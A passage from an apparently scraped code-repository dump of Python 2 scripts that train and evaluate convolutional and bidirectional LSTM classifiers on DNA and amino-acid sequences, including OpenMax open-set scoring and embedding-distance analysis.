0\n\tfor row in reader:\n\t\tif i > 0: #ignore the first line\n\t\t\tx = row[4] if is_dna_data else row[3]\n\t\t\tlabel = row[2]\n\t\t\tif not label in label_mapping:\n\t\t\t\tlabel_mapping[label] = len(label_mapping)\n\t\t\t\tlabels.append(label)\n\t\t\ty = label_mapping[label]\n\t\t\tif not y in split_data:\n\t\t\t\tsplit_data[y] = []\n\t\t\tsplit_data[y].append(x)\n\t\ti += 1\n\tprint 'total examples: ', i-1\n\nwith open(label_filename, 'w') as label_file:\n\tw = csv.writer(label_file)\n\tfor i in range(len(labels)):\n\t\tw.writerow([i, labels[i]])\n\nprint 'class sizes:'\nfor y in split_data:\n\tprint len(split_data[y])\n\nwith open(train_filename, 'w') as train_file, open(val_filename, 'w') as val_file, open(test_filename, 'w') as test_file:\n\ttrain_writer = csv.writer(train_file)\n\tval_writer = csv.writer(val_file)\n\ttest_writer = csv.writer(test_file)\n\n\tfor y in split_data:\n\t\tarr = split_data[y]\n\t\tl = len(arr)\n\t\tfor i in range(l):\n\t\t\tx = arr[i]\n\t\t\t#80% train, 10% val, 10% test\n\t\t\tif i < l * 8 / 10:\n\t\t\t\ttrain_writer.writerow([y, x])\n\t\t\telif i < l * 9 / 10:\n\t\t\t\tval_writer.writerow([y, x])\n\t\t\telse:\n\t\t\t\ttest_writer.writerow([y, x])\n" }, { "alpha_fraction": 0.6946216821670532, "alphanum_fraction": 0.7161957025527954, "avg_line_length": 38.17856979370117, "blob_id": "ab89d0fe7ba09ba852582716f21c7b525d407caa", "content_id": "ee33d8818b72f85012fbd8036c0279480efe55a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3291, "license_type": "no_license", "max_line_length": 164, "num_lines": 84, "path": "/bidirectional.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "#QUESTION: why are there two seeds?\nfrom numpy.random import seed\nseed(1)\nfrom tensorflow import set_random_seed\nset_random_seed(2)\n\nimport numpy as np\n#from keras.models import Sequential\n#from keras.layers import LSTM, Masking, Dense, Bidirectional, Dropout, MaxPooling1D, Conv1D, Activation\n#from keras.optimizers import Adam\n\nfrom load_data import load_csv, get_onehot\nfrom ml_logging import Logger\nfrom model_templates import dna_mask_blstm, aa_mask_blstm, dspace\n\n\n\n#model can run with a DNA sequence (is_dna_data = True) or with an amino acid sequence (is_dna_data = False).\nis_dna_data = False\n\n\n\n#num_classes is number of different possible annotations.\nnum_classes = 30\n#4 letters (ACGT) for DNA, or 26 letters of the alphabet for amino acid abbreviation\nnum_letters = 4 if is_dna_data else 26\nsequence_length = 1500\nembed_size = 64\nmodel_name = 'blstm_mask_embed64_aa_30class_1500'\n#model_template is the new name for the aa_mask_blstm function (which is defined in model_templates.py)\nmodel_template = aa_mask_blstm\ndata_dir = '/mnt/data/computervision/train80_val10_test10'\n\nmask = True\nmask_len = 113\n\n\n#model_name defined above\n#logger = Logger(model_name)\nsave_path = '../models/'+model_name+'.h5'\n\n\n#Create the keras model and print a summary of it\nmodel = model_template(num_classes, num_letters, sequence_length, embed_size=embed_size, mask_length=mask_len if mask else None)\nmodel.summary()\n\n#read the first two columns of the input csv file into a list of tuples.\n#the file's second-column items become the first items in the tuples.\n#the list of tuples is called train_data\ntrain_data = load_csv(data_dir + '/train.csv')\nprint len(train_data)\n#val_data = load_csv(data_dir + '/validation.csv', divide=2 if is_dna_data else 1)\n#val_x, val_y = get_onehot(val_data, None, num_classes=num_classes, seq_len=sequence_length, is_dna_data=is_dna_data)\n#print len(val_data)\n\nnum_episodes = 50000#200000\nfor i in range(num_episodes):\n x, y, m = get_onehot(train_data, 100, num_classes=num_classes, seq_len=sequence_length, is_dna_data=is_dna_data, mask_len=mask_len if mask else None)\n print i\n print model.train_on_batch([x,m] if mask else x, y)\n if (i % 10000 == 0) or i == num_episodes - 1:\n\n #[loss, acc] = model.evaluate(val_x, val_y, batch_size=100)\n #print loss, acc\n #logger.record_val_acc(i, acc)\n\n model.save(save_path)\n print 'saved to ' + save_path\ndel train_data\n\n#pred = model.predict(val_x, batch_size=100).argmax(axis=-1)\n#logger.confusion_matrix(val_data, pred)\n#logger.length_plot(val_data, pred)\n#logger.save()\n\n#del val_data, val_x, val_y\n\n#read the first two columns of the input csv file into a list of tuples.\n#the file's second-column items become the first items in the tuples.\n#do this for even-numbered rows of the csv file if is_dna_data, otherwise for every row\n#the list of tuples is called test_data\ntest_data = load_csv(data_dir + '/test.csv', divide=2 if is_dna_data else 1)\ntest_x, test_y, test_m = get_onehot(test_data, None, num_classes=num_classes, seq_len=sequence_length, is_dna_data=is_dna_data, mask_len=mask_len if mask else None)\nprint \"test accuracy: \", model.evaluate([test_x, test_m] if mask else test_x, test_y, batch_size=100)\n" }, { "alpha_fraction": 0.6687116622924805, "alphanum_fraction": 0.6809815764427185, "avg_line_length": 23.450000762939453, "blob_id": "5a8026658e40be969cd04a11318d7f04e866ccab", "content_id": "363509d276b3f9b45676d89b51ab70149bcc9cbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "no_license", "max_line_length": 54, "num_lines": 20, "path": "/get_filters.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "import csv\nfrom keras.models import load_model\n\nmodel_name = 'blstm'\n\nmodel = load_model('../models/'+model_name+'.h5')\nmodel.summary()\n\nweights = model.get_layer('conv1d_1').get_weights()[0]\nprint weights.shape\n\noutput_name = '../results/filters_'+model_name+'.csv'\nwith open(output_name, 'w') as outfile:\n\tw = csv.writer(outfile)\n\tfor i in range(weights.shape[2]):\n\t\tfor j in range(weights.shape[1]):\n\t\t\tw.writerow(weights[:,j,i].tolist())\n\t\tw.writerow([])\n\nprint 'wrote ' + output_name\n" }, { "alpha_fraction": 0.6046175956726074, "alphanum_fraction": 0.6296296119689941, "avg_line_length": 27.86111068725586, "blob_id": "5f6cc3c064839a6b5b7ae3c8f7a4ca93cb975201", "content_id": "8bac0ae8b0365e7afbea8dd5caba6e81ca5fef45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2079, "license_type": "no_license", "max_line_length": 93, "num_lines": 72, "path": "/get_unknowns.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "import csv\n\nis_dna_data = True\n\ninput_filename = '/mnt/data/sharing/nucleotide_annotation_data/all_annotation.tsv'\nclass_filename = '../results/dna_1000class_names.csv'\noutput_filename = '/mnt/data/computervision/dna_1000class_train80_val10_test10/unknowns.csv'\nclass_output_filename = '../results/dna_unknown_1000class_names.csv'\npair_output_filename = '../results/dna_unknown_1000class_pairs.csv'\n\ndata_size = 1200000 if is_dna_data else 800000\n\nclass_dict = dict()\nwith open(class_filename, 'r') as infile:\n\tr = csv.reader(infile)\n\tfor row in r:\n\t\tclass_dict[row[1]] = True\nprint class_dict\n\nunknowns = []\nunknown_class_dict = dict()\n\nwith open(input_filename, 'r') as tsvfile:\n reader = csv.reader(tsvfile, delimiter='\\t')\n i = 0\n for row in reader:\n if i > 0: #ignore the first line\n x = row[4 if is_dna_data else 3]\n label = row[2]\n\t\t\t\n if not label in class_dict:\n \t\tunknowns.append((label, x))\n\n\t\t\t\tif not label in unknown_class_dict:\n\t\t\t\t\tunknown_class_dict[label] = 0\n\t\t\t\tunknown_class_dict[label] += 1\n\n\t\t\t\tif len(unknowns) == data_size:\n\t\t\t\t\tbreak\n\t\t\t\t\n\t\ti += 1\n\tprint i\n\npair_dict = dict()\nfor (label, x) in unknowns:\n\tif unknown_class_dict[label] >= 2:\n\t\tif not label in pair_dict:\n\t\t\tpair_dict[label] = []\n\t\tp = pair_dict[label]\n\t\tif len(p) == 0 or (len(p) == 1 and x != p[0]):\n\t\t\tpair_dict[label].append(x)\n\nwith open(output_filename, 'w') as outfile:\n\tw = csv.writer(outfile)\n\tfor (label, x) in unknowns:\n\t\t#y is a single \"unknown\" class, equal to max class + 1\n\t\tw.writerow([len(class_dict), x])\n\nwith open(class_output_filename, 'w') as outfile:\n\tw = csv.writer(outfile)\n\tfor key in unknown_class_dict:\n\t\tw.writerow([key, unknown_class_dict[key]])\n\nwith open(pair_output_filename, 'w') as outfile:\n\tw = csv.writer(outfile)\n\ti = 0\n\tfor key in pair_dict:\n\t\tif len(pair_dict[key]) == 2:\n\t\t\tfor x in pair_dict[key]:\n\t\t\t\tw.writerow([i, x])\n\t\t\ti += 1\nprint 'wrote ' + output_filename + ', ' + class_output_filename + ', ' + pair_output_filename\n\n" }, { "alpha_fraction": 0.6250376105308533, "alphanum_fraction": 0.6542280912399292, "avg_line_length": 25.774192810058594, "blob_id": "f915f1d8b3763d33362853efd1654b12a2a686aa", "content_id": "fa6817eb9d1646f7f9f21a5d177fb367c49354f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3323, "license_type": "no_license", "max_line_length": 109, "num_lines": 124, "path": "/openmax.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "from keras.models import Model, load_model\nfrom load_data import load_csv, get_onehot\nimport numpy as np\nimport math\nimport csv\nimport libmr\n\nis_dna_data = True\n\nnum_classes = 30\n\nmodel_name = 'blstm_dna_conv3_4500'\ndata_file = '/mnt/data/computervision/dna_train80_val10_test10/test.csv'\n#data_file = '/mnt/data/computervision/dna_train80_val10_test10/unknowns.csv'\ndata_divide = 4\ndist_min = 0\ndist_max = 20\n\nmodel_file = '../models/'+model_name+'.h5'\nmodel = load_model(model_file)\nav_model = Model(inputs=model.input, outputs=model.get_layer(\"AV\").output)\nprint av_model.summary()\n\ndata = load_csv(data_file, divide=data_divide)\nprint len(data)\nx, y = get_onehot(data, None, is_dna_data=is_dna_data, seq_len=4500 if is_dna_data else 1500)\navs = av_model.predict(x, batch_size=500)\n\nprint 'done getting avs'\ndel data, x, y\n\nmeans = []\nwith open('../results/'+model_name+'_mean_activations.csv', 'r') as infile:\n\tr = csv.reader(infile)\n\tfor row in r:\n\t\tmeans.append(np.array(row, dtype=np.float32))\n\ndists = []\nwith open('../results/'+model_name+'_mav_distances.csv', 'r') as infile:\n\tr = csv.reader(infile)\n\tfor row in r:\n\t\tdists.append(np.array(row, dtype=np.float32).tolist())\n\nmodels = []\nfor row in dists:\n\tmodel = libmr.MR()\n\tmodel.fit_high(row, len(row))\n\tmodels.append(model)\n\nprint 'done fitting models'\n\nalpha = 5\nalpha_weights = [((alpha+1) - i)/float(alpha) for i in range(1, alpha+1)]\n\nsoftmaxes = []\nscores = []\ndistances = []\ndistance_sum = 0.0\n\nfor i in range(avs.shape[0]):\n\tx = avs[i]\n\n\te_sum = 0.0\n\tfor j in range(num_classes):\n\t\te_sum += math.exp(x[j])\n\tsoftmax = np.zeros((num_classes), dtype=np.float32)\n\tfor j in range(num_classes):\n\t\tsoftmax[j] = math.exp(x[j]) / e_sum\n\tsoftmaxes.append(np.max(softmax))\n\n\ttop_classes = x.argsort()[::-1]\n\tunknown_act = 0.0\n\tfor rank in range(alpha):\n\t\tj = top_classes[rank]\n\t\tdist = np.linalg.norm(x - means[j])\n\n\t\tif rank == 0:\n\t\t\tdistances.append(dist)\n\t\t\tdistance_sum += dist\n\n\t\tscore = models[j].w_score(dist)\n\t\tweight = 1.0 - score * alpha_weights[rank]\n\t\tunknown_act += x[j] * (1 - weight)\n\t\tx[j] = x[j] * weight\n\n\te_sum = math.exp(unknown_act)\n\tfor j in range(num_classes):\n\t\te_sum += math.exp(x[j])\n\topenmax = np.zeros((num_classes+1), dtype=np.float32)\n\topenmax[0] = math.exp(unknown_act) / e_sum\n\tfor j in range(num_classes):\n\t\topenmax[j+1] = math.exp(x[j]) / e_sum\n\ty = np.argmax(openmax)\n\tscore = 0.0 if y == 0 else openmax[y]\n\tscores.append(score)\n\nprint \"average distance: \" + str(distance_sum / len(scores))\n\nthresholds = [0.5, 0.6, 0.7, 0.8, 0.9, 0.95, 0.99, 0.995]\n\nfor arr in [softmaxes, scores]:\n\tfor threshold in thresholds:\n\t\tin_count = 0.0\n\t\tout_count = 0.0\n\t\tfor score in arr:\n\t\t\tif score < threshold:\n\t\t\t\tout_count += 1\n\t\t\telse:\n\t\t\t\tin_count += 1\n\t\tin_percent = in_count / (in_count + out_count)\n\t\tout_percent = out_count / (in_count + out_count)\n\t\tprint 'threshold: ' + str(threshold) + ' known: ' + str(in_percent) + ' unknown: ' + str(out_percent) \n\nfor threshold in range(dist_min, dist_max):\n\tin_count = 0.0\n\tout_count = 0.0\n\tfor dist in distances:\n\t\tif dist < threshold:\n\t\t\tin_count += 1\n\t\telse:\n\t\t\tout_count += 1\n\tin_percent = in_count / (in_count + out_count)\n out_percent = out_count / (in_count + out_count)\n print 'threshold: ' + str(threshold) + ' known: ' + str(in_percent) + ' unknown: ' + str(out_percent)\n\n\t\n" }, { "alpha_fraction": 0.6640112400054932, "alphanum_fraction": 0.6865042448043823, "avg_line_length": 25.674999237060547, "blob_id": "bf96e9ba7a9408fbaa18e41a2c5dfbcbbcfbe960", "content_id": "a1615f978e031b729e14f6364a982c9eeb1086b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2134, "license_type": "no_license", "max_line_length": 91, "num_lines": 80, "path": "/compute_mav.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "from keras.models import Model, load_model\nfrom load_data import load_csv, get_onehot\nimport numpy as np\nimport csv\n\nis_dna_data = True\n\nnum_classes = 30\nseq_len = 4500 if is_dna_data else 1500\nmodel_name = 'blstm_openset'\ndata_dir = '/mnt/data/computervision/train80_val10_test10'\n\nif is_dna_data:\n\tmodel_name = 'blstm_dna_conv3_4500'\n\tdata_dir = '/mnt/data/computervision/dna_train80_val10_test10'\n\nmodel_file = '../models/' + model_name + '.h5'\n\nmodel = load_model(model_file)\nav_model = Model(inputs=model.input, outputs=model.get_layer(\"AV\").output)\nprint av_model.summary()\n\ntrain_data = load_csv(data_dir + '/train.csv')\n\nbatch_size = 10000\navs = []\nactual = []\nlower = 0\nwhile lower < len(train_data):\n\tprint lower\n\tupper = min(lower + batch_size, len(train_data))\n\tx, y = get_onehot(train_data[lower:upper], None, is_dna_data=is_dna_data, seq_len=seq_len)\n\tpred = av_model.predict(x, batch_size=500)\n\tavs.append(pred)\n\tactual.append(y)\n\tlower += batch_size\n\ndel train_data\n\nsums = np.zeros((num_classes, num_classes), np.float32)\ncounts = np.zeros((num_classes), np.float32)\nclass_avs = []\nfor i in range(num_classes):\n\tclass_avs.append([])\n\nfor i in range(len(avs)):\n\tfor j in range(avs[i].shape[0]):\n\t\tpred_class = np.argmax(avs[i][j])\n\t\tactual_class = np.argmax(actual[i][j])\n\t\tif pred_class == actual_class:\n\t\t\tsums[actual_class] += avs[i][j]\n\t\t\tcounts[actual_class] += 1.0\n\t\t\tclass_avs[actual_class].append(avs[i][j])\nprint counts\n\nmeans = []\ndistances = []\ntop_dist_count = 20\n\nfor i in range(num_classes):\n\tmeans.append(sums[i] / max(counts[i], 1.0))\n\td = []\n\tfor ex in class_avs[i]:\n\t\td.append(np.linalg.norm(ex - means[i]))\n\tdistances.append(sorted(d)[-top_dist_count:])\n\n\nmean_filename = '../results/'+model_name+'_mean_activations.csv'\nwith open(mean_filename, 'w') as outfile:\n\tw = csv.writer(outfile)\n\tfor i in range(num_classes):\n\t\tw.writerow(means[i].tolist())\nprint 'wrote ' + mean_filename\n\ndist_filename = '../results/'+model_name+'_mav_distances.csv'\nwith open(dist_filename, 'w') as outfile:\n\tw = csv.writer(outfile)\n\tfor i in range(num_classes):\n\t\tw.writerow(distances[i])\nprint 'wrote ' + dist_filename\n" }, { "alpha_fraction": 0.6858353614807129, "alphanum_fraction": 0.7197336554527283, "avg_line_length": 27, "blob_id": "d92600166adf6ed454f570717e44d0b1117ad7a6", "content_id": "c3c4ab6b79cf35a26d188de10c636de4e59a2588", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1652, "license_type": "no_license", "max_line_length": 94, "num_lines": 59, "path": "/simpleLSTM.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "from numpy.random import seed\nseed(1)\nfrom tensorflow import set_random_seed\nset_random_seed(2)\n\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, Masking\nfrom keras.optimizers import Adam\n\nfrom load_data import load_csv, get_onehot\nfrom ml_logging import Logger\n\nnum_classes = 30\nnum_amino_acids = 26\n\nmodel = Sequential()\nmodel.add(Masking(mask_value=0, input_shape=(1500, num_amino_acids)))\nmodel.add(LSTM(50, activation='tanh'))\nmodel.add(Dense(num_classes, activation='softmax'))\nmodel.compile(optimizer=Adam(lr=0.001), loss='categorical_crossentropy', metrics=['accuracy'])\nmodel.summary()\n\ndata_dir = '/mnt/data/computervision/train80_val10_test10'\ntrain_data = load_csv(data_dir + '/train.csv')\nprint len(train_data)\nval_data = load_csv(data_dir + '/validation.csv')\nval_x, val_y = get_onehot(val_data, None)\nprint len(val_data)\n\nlogger = Logger('lstm50')\n\nsave_path = '../models/lstm50.h5'\n\nnum_episodes = 20000\nfor i in range(num_episodes):\n\tx, y = get_onehot(train_data, 1000)\n\tprint i\n\tprint model.train_on_batch(x, y)\n\tif (i % 1000 == 0) or i == num_episodes - 1:\n\t\t\n\t\t[loss, acc] = model.evaluate(val_x, val_y, batch_size=1000)\n\t\tprint loss, acc\n\t\tlogger.record_val_acc(i, acc)\n\t\t\n\t\tmodel.save(save_path)\n\t\tprint 'saved to ' + save_path\ndel train_data\n\npred = model.predict(val_x, batch_size=1000).argmax(axis=-1)\nlogger.confusion_matrix(val_data, pred)\nlogger.length_plot(val_data, pred)\nlogger.save()\n\ndel val_data, val_x, val_y\n\ntest_data = load_csv(data_dir + '/test.csv')\ntest_x, test_y = get_onehot(test_data, None)\nprint \"test accuracy: \", model.evaluate(test_x, test_y, batch_size=1000)\n" }, { "alpha_fraction": 0.6432052254676819, "alphanum_fraction": 0.6691932678222656, "avg_line_length": 25.014083862304688, "blob_id": "56158800a54e0ddc546263468599758f0739d6be", "content_id": "d26d26760e06a521cc3d4b9bcef414f4f588f9b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1847, "license_type": "no_license", "max_line_length": 118, "num_lines": 71, "path": "/class_distance_analyzer.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "from keras.models import Model, load_model\nfrom load_data import load_csv, get_onehot\nimport numpy as np\n\nis_dna_data = True\n\nnum_classes = 10000 #test classes, not train classes\ntop_n = [1, 10, 20, 50]\n\nmodel_name = 'blstm_dna_100class_dspace_4500'\nseq_len = 4500\n#data_file = '/mnt/data/computervision/dna_train80_val10_test10/test.csv'\ndata_file = '../results/dna_unknown_100class_pairs.csv' #keep this 1000class so every model uses the same data\n\nmask = False\nmask_len = 113\n\nmodel_file = '../models/'+model_name+'.h5'\nmodel = load_model(model_file)\nembed_model = Model(inputs=model.input, outputs=model.get_layer(\"lstm_2\").output)\nprint embed_model.summary()\n\nsingle_dict = dict()\npair_dict = dict()\ndata = load_csv(data_file)\nfor (x, y) in data:\n\tif y in pair_dict:\n\t\tcontinue\n\tif y in single_dict:\n\t\tassert x != single_dict[y]\n\t\tpair_dict[y] = [single_dict[y], x]\n\telse:\n\t\tsingle_dict[y] = x\n\tif len(pair_dict) == num_classes:\n\t\tbreak\n\nchosen_data = []\nfor i in range(2):\n\tfor y in pair_dict:\n\t\tx = pair_dict[y][i]\n#\t\tprint len(x)\n\t\tchosen_data.append((x, y))\n\nx, y, m = get_onehot(chosen_data, None, is_dna_data=is_dna_data, seq_len=seq_len, mask_len=mask_len if mask else None)\nembed = embed_model.predict([x,m] if mask else x)\n\npos_counts = dict()\ncorrect_counts = dict()\nfor n in top_n:\n\tpos_counts[n] = []\n\tcorrect_counts[n] = 0.0\n\tfor _ in range(n):\n\t\tpos_counts[n].append(0)\n\nfor i in range(num_classes):\n\tdistances = dict()\n\tex = embed[i + num_classes]\n\tfor j in range(num_classes):\n\t\tdist = np.linalg.norm(ex - embed[j])\n\t\tdistances[j] = dist\n\tbest = sorted(distances, key=distances.get)#[0:top_n]\n\t#print i, \":\", best\n\tfor n in top_n:\n\t\tfor pos in range(n):\n\t\t\tif best[pos] == i:\n\t\t\t\tpos_counts[n][pos] += 1\n\t\t\t\tcorrect_counts[n] += 1\nfor n in top_n:\n\tprint \"top\", n, \":\"\n\tprint pos_counts[n]\n\tprint correct_counts[n]/num_classes\n" }, { "alpha_fraction": 0.6851488351821899, "alphanum_fraction": 0.7173699736595154, "avg_line_length": 56.14018630981445, "blob_id": "e554bf613671a168366ea2d63648324959f37d0e", "content_id": "4507685858a4d897211ae7884eb3ed549ba247d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6114, "license_type": "no_license", "max_line_length": 183, "num_lines": 107, "path": "/model_templates.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "from keras.models import Model, Sequential, load_model\nfrom keras.layers import LSTM, Masking, Dense, Bidirectional, Dropout, MaxPooling1D, Conv1D, Activation, Flatten, Input, Multiply\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.optimizers import Adam, Nadam\n\ndef original_blstm(num_classes, num_letters, sequence_length, embed_size=50):\n\tmodel = Sequential()\n\tmodel.add(Conv1D(input_shape=(sequence_length, num_letters), filters=320, kernel_size=26, padding=\"valid\", activation=\"relu\"))\n\tmodel.add(MaxPooling1D(pool_length=13, stride=13))\n\tmodel.add(Dropout(0.2))\n\tmodel.add(Bidirectional(LSTM(320, activation=\"tanh\", return_sequences=True)))\n\tmodel.add(Dropout(0.5))\n\t#model.add(LSTM(num_classes, activation=\"softmax\", name=\"AV\"))\n\tmodel.add(LSTM(embed_size, activation=\"tanh\"))\n\tmodel.add(Dense(num_classes, activation=None, name=\"AV\"))\n\tmodel.add(Activation(\"softmax\"))\n\tmodel.compile(loss='categorical_crossentropy', optimizer=Adam(lr=0.001), metrics=['accuracy'])\n\treturn model\n\ndef dna_blstm(num_classes, num_letters, sequence_length, mask_length=None, embed_size=256):\n\tmodel = Sequential()\n model.add(Conv1D(input_shape=(sequence_length, num_letters), filters=26, kernel_size=3, strides=3, padding=\"valid\", activation=\"relu\"))\n model.add(Conv1D(filters=320, kernel_size=26, padding=\"valid\", activation=\"relu\"))\n\tmodel.add(MaxPooling1D(pool_length=13, stride=13))\n model.add(Dropout(0.2))\n model.add(Bidirectional(LSTM(320, activation=\"tanh\", return_sequences=True)))\n model.add(Dropout(0.5))\n #model.add(LSTM(num_classes, activation=\"softmax\", name=\"AV\"))\n model.add(LSTM(embed_size, activation=\"tanh\"))\n model.add(Dense(num_classes, activation=None, name=\"AV\"))\n model.add(Activation(\"softmax\"))\n model.compile(loss='categorical_crossentropy', optimizer=Adam(lr=0.001), metrics=['accuracy'])\n return model\n\ndef dna_mask_blstm(num_classes, num_letters, sequence_length, mask_length, embed_size=256):\n\tx = Input(shape=(sequence_length, num_letters))\n\tm = Input(shape=(mask_length, 1))\n\tconv1 = Conv1D(filters=26, kernel_size=3, strides=3, padding=\"valid\", activation=\"relu\")(x)\n\tconv2 = Conv1D(filters=320, kernel_size=26, padding=\"valid\", activation=\"relu\")(conv1)\n\tpool = MaxPooling1D(pool_length=13, stride=13)(conv2)\n\tmasked = Multiply()([pool, m])\n\tmasking = Masking(mask_value=0)(masked)\n\tdrop1 = Dropout(0.2)(masking)\n\tblstm = Bidirectional(LSTM(320, activation=\"tanh\", return_sequences=True))(drop1)\n\tdrop2 = Dropout(0.5)(blstm)\n\tlstm = LSTM(embed_size, activation=\"tanh\")(drop2)\n\tdense = Dense(num_classes, activation=None, name=\"AV\")(lstm)\n\tout = Activation(\"softmax\")(dense)\n\tmodel = Model(inputs=[x,m], outputs=out)\n\tmodel.compile(loss='categorical_crossentropy', optimizer=Adam(lr=0.001), metrics=['accuracy'])\n\treturn model\n\n#returns an lstm model for amino acids from keras. Inputs [x,m] and output out. x, m, and out defined below\ndef aa_mask_blstm(num_classes, num_letters, sequence_length, mask_length, embed_size=256):\n\tx = Input(shape=(sequence_length, num_letters))\n m = Input(shape=(mask_length, 1))\n conv = Conv1D(filters=320, kernel_size=26, padding=\"valid\", activation=\"relu\")(x)\n pool = MaxPooling1D(pool_length=13, stride=13)(conv)\n masked = Multiply()([pool, m])\n masking = Masking(mask_value=0)(masked)\n drop1 = Dropout(0.2)(masking)\n blstm = Bidirectional(LSTM(320, activation=\"tanh\", return_sequences=True))(drop1)\n drop2 = Dropout(0.5)(blstm)\n lstm = LSTM(embed_size, activation=\"tanh\")(drop2)\n dense = Dense(num_classes, activation=None, name=\"AV\")(lstm)\n out = Activation(\"softmax\")(dense)\n model = Model(inputs=[x,m], outputs=out)\n model.compile(loss='categorical_crossentropy', optimizer=Adam(lr=0.001), metrics=['accuracy'])\n return model\n\ndef dspace(num_classes, num_letters, sequence_length, embed_size=256):\n\tmodel = Sequential()\n\tmodel.add(Conv1D(input_shape=(sequence_length, num_letters), filters=26, kernel_size=3, strides=3, padding=\"valid\", activation=\"elu\", name='dna2aa', kernel_initializer='he_uniform'))\n\n\tmodel.add(Conv1D(16, 3, activation='elu', padding='same', name='encoder_conv0', kernel_initializer='he_uniform'))\n\tmodel.add(BatchNormalization(name='encoder_bn0'))\n\tmodel.add(Conv1D(24, 3, activation='elu', padding='same', name='encoder_conv1', kernel_initializer='he_uniform'))\n\tmodel.add(BatchNormalization(name='encoder_bn1'))\n\tmodel.add(MaxPooling1D())\n\n\tmodel.add(Conv1D(32, 5, activation='elu', padding='same', name='encoder_conv2', kernel_initializer='he_uniform'))\n\tmodel.add(BatchNormalization(name='encoder_bn2'))\n\tmodel.add(Conv1D(48, 5, activation='elu', padding='same', name='encoder_conv3', kernel_initializer='he_uniform'))\n\tmodel.add(BatchNormalization(name='encoder_bn3'))\n\n\tmodel.add(Conv1D(64, 7, activation='elu', padding='same', name='encoder_conv4', kernel_initializer='he_uniform'))\n\tmodel.add(BatchNormalization(name='encoder_bn4'))\n\tmodel.add(Conv1D(96, 7, activation='elu', padding='same', name='encoder_conv5', kernel_initializer='he_uniform'))\n\tmodel.add(BatchNormalization(name='encoder_bn5'))\n\tmodel.add(MaxPooling1D())\n\n\tmodel.add(Flatten())\n\tmodel.add(Dense(2048, activation='elu', kernel_initializer='he_uniform', name='encoder_aff0'))\n\tmodel.add(BatchNormalization(name='encoder_bn6'))\n\tmodel.add(Dense(1024, activation='elu', kernel_initializer='he_uniform', name='encoder_aff1'))\n\tmodel.add(BatchNormalization(name='encoder_bn7'))\n\tmodel.add(Dense(512, activation='elu', kernel_initializer='he_uniform', name='encoder_aff2'))\n\tmodel.add(BatchNormalization(name='encoder_bn8'))\n\tmodel.add(Dense(embed_size, activation='elu', kernel_initializer='he_uniform', name='encoder_aff3'))\n\t#obviously inaccurate name, to match embedding in previous models\n\tmodel.add(BatchNormalization(name='lstm_2'))\n\n\tmodel.add(Dense(num_classes, activation=None, name=\"AV\"))\n model.add(Activation(\"softmax\"))\n\n\tmodel.compile(loss='categorical_crossentropy', optimizer=Nadam(lr=0.001), metrics=['accuracy'])\n return model\n" }, { "alpha_fraction": 0.6599107980728149, "alphanum_fraction": 0.6753141283988953, "avg_line_length": 26.69662857055664, "blob_id": "d4f5c6e8cd077e23180f497b5a9dab9e3f3f623c", "content_id": "ac5b301b6a924a3d0c05d1dbbf7d15159a1fbe37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2467, "license_type": "no_license", "max_line_length": 107, "num_lines": 89, "path": "/cluster_distance_multi.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "import csv\nimport os\nimport numpy as np\nfrom multiprocessing import Process\nfrom sklearn.neighbors import KDTree\nfrom keras.models import Model, load_model\nfrom load_data import get_onehot\n\nmodel_name = 'blstm_mask_embed64_aa_30class_1500'\ninput_filename = '/mnt/data/computervision/tara/TARA_AAsequence_site_region.tsv'\n\nis_dna_data = False\nseq_len = 1500\nmask_len = 113\n\nmodel_file = '../models/'+model_name+'.h5'\nmodel = load_model(model_file)\nembed_model = Model(inputs=model.input, outputs=model.get_layer(\"lstm_2\").output)\nembed_model.summary()\n\nlabel_dict = dict()\nrev_label_dict = dict()\nsequence_dict = dict()\nembed_dict = dict()\n\nwith open(input_filename) as tsvfile:\n\treader = csv.reader(tsvfile, delimiter='\\t')\n\ti = 0\n\tfor row in reader:\n\t\tif i > 0:\n\t\t\tx = row[0]\n\t\t\tlabel = row[2]\n\t\t\tif not label in label_dict:\n\t\t\t\ty = len(label_dict)\n\t\t\t\tlabel_dict[label] = y\n\t\t\t\trev_label_dict[y] = label\n\t\t\t\tsequence_dict[y] = []\n\t\t\ty = label_dict[label]\n\t\t\tsequence_dict[y].append((x, y))\n\t\ti+=1\n\tprint i\n\nN = len(sequence_dict)\nprint 'done loading', N\n\nfor i in range(N):\n\tprint len(sequence_dict[i])\n\tfilename = '/mnt/data/computervision/tara/embed64/'+rev_label_dict[i]+'.npy'\n\tif os.path.exists(filename):\n\t\tembed_dict[i] = np.load(filename)\n\telse:\n\t\tx, y, m = get_onehot(sequence_dict[i], None, is_dna_data=is_dna_data, seq_len=seq_len, mask_len=mask_len)\n\t\tembed = embed_model.predict([x,m], batch_size=100, verbose=1)\n\t\tembed_dict[i] = embed\n\t\tdel x, y, m\n\t\tnp.save(filename, embed)\n\tdel sequence_dict[i]\n\tprint 'embedded', i, rev_label_dict[i]\n\n\t#embed_dict[i] = embed_dict[i][0:1000]\n\ndel sequence_dict, model, embed_model\nresult = []\n\ntree_dict = dict()\n\nfor i in range(N):\n\ttree_dict[i] = 